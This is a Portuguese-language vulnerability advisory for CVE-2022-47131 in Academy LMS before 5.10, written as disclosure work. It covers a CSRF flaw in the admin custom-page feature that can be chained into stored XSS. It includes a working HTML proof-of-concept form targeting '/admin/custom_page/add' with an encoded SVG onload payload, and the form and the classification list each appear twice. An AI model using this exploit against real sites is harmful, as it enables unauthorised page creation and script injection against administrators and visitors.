Academy LMS < 5.10 CSRF + XSS Stored

/

Descrição

O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um a nova página está vulnerável a CSRF, pois não há nenhuma token que faz com que esse ataque seja evitado. Além disso, essa página pode ser usada para carregar um payload de XSS de forma armazenada.

Prova de Conceito (POC)

O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Use Imagem 1

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, veja que na página inicial do site será adicionado um novo botão.

Use Imagem 2

Acessando a nova página criada, podemos confirmar a existência de um XSS armazenado.

Use Imagem 2

Código usado na exploração:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/admin/custom_page/add" method="POST">
      <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
      <input type="hidden" name="files" value="" />
      <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="button&#95;position" value="header" />
      <input type="hidden" name="page&#95;url" value="xss" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/admin/custom_page/add" method="POST">
      <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
      <input type="hidden" name="files" value="" />
      <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="button&#95;position" value="header" />
      <input type="hidden" name="page&#95;url" value="xss" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Versões Afetadas

Academy LMS - < 5.10

Pesquisador

Classificação

Type: Cross-Site Request Forgery / Cross-Site Scripting
OWASP TOP 10: A01:2021 - Broken Access Control
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Type: Cross-Site Request Forgery / Cross-Site Scripting
OWASP TOP 10: A01:2021 - Broken Access Control
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE: CWE-352: Cross-Site Request Forgery (CSRF)

CVE

CVE-2022-47131

Referencias

Edit on GitHub